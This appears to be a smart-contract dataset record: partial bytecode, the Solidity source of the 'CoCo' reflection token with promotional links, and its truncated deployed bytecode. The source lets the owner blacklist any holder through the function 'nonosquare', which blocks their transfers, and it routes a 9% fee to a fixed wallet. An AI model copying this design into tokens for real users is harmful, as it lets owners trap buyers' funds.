fffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115db57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561161757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156116fe57600080fd5b611709848484611bfc565b90509392505050565b600080821180156117615750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561176c57600080fd5b6117bd826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118148260015461187190919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600082821115151561187f57fe5b818303905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff16141580156118b25750600082115b80156118fc5750816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561190757600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561199257600080fd5b6119e3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3a8260015461187190919063ffffffff16565b600181905550611acf82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515611bce57600080fd5b611bd88383611fb6565b905092915050565b60008183019050828110151515611bf357fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c3957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c8657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d1157600080fd5b611d62826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ec682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ff357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561204057600080fd5b612091826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612124826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058204702649f2f8522dcb9f0ad22792d245dc5b033ddc8470a291e062092f30f2ff80029
|
{"success": true, "error": null, "results": {}}
| 8,660 |
0xea7c30b12775681527bcb35e50678b67bb17340c
|
/**
Website: http://CoCoErc.com
Telegram: https://t.me/CocoErc
Will be Locked & Renounced
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CoCo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 300000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "CoCo";
string private constant _symbol = "CoCo";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x44bFe33Fe3F90689cA233151D21CE94D789c3595);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276c565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612836565b6104b4565b60405161018e9190612891565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a1e565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a67565b61060d565b60405161021f9190612891565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612aba565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b03565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4a565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b77565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612aba565b6109dd565b60405161031991906128bb565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb3565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276c565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612836565b610c9e565b6040516103da9190612891565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b77565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bce565b61137e565b60405161046e91906128bb565b60405180910390f35b60606040518060400160405280600481526020017f436f436f00000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611405565b848461140d565b6001905092915050565b6000681043561a8829300000905090565b6104eb611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5a565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cd8565b91505061057b565b5050565b600061061a8484846115d6565b6106db84610626611405565b6106d68560405180606001604052806028815260200161370f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611405565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c679092919063ffffffff16565b61140d565b600190509392505050565b6106ee611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5a565b60405180910390fd5b6000811161093357600080fd5b610962606461095483681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611405565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d8f565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfb565b9050919050565b610a36611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5a565b60405180910390fd5b681043561a8829300000600f81905550681043561a8829300000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f436f436f00000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611405565b84846115d6565b6001905092915050565b610cc4611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5a565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611405565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e69565b50565b610e18611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5a565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16681043561a882930000061140d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da1565b6040518363ffffffff1660e01b815260040161109c929190612dce565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da1565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3c565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb2565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061124160646112336002681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f8190555061127760646112696003681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611337929190612f05565b6020604051808303816000875af1158015611356573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137a9190612f43565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390612fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290613074565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c991906128bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90613106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90613198565b60405180910390fd5b600081116116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061322a565b60405180910390fd5b6000600a819055506009600b8190555061170f610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177d575061174d610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118265750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182f57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118da5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119305750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119485750600e60179054906101000a900460ff165b15611a8657600f54811115611992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198990613296565b60405180910390fd5b6010548161199f846109dd565b6119a991906132b6565b11156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e190613358565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3557600080fd5b601e42611a4291906132b6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673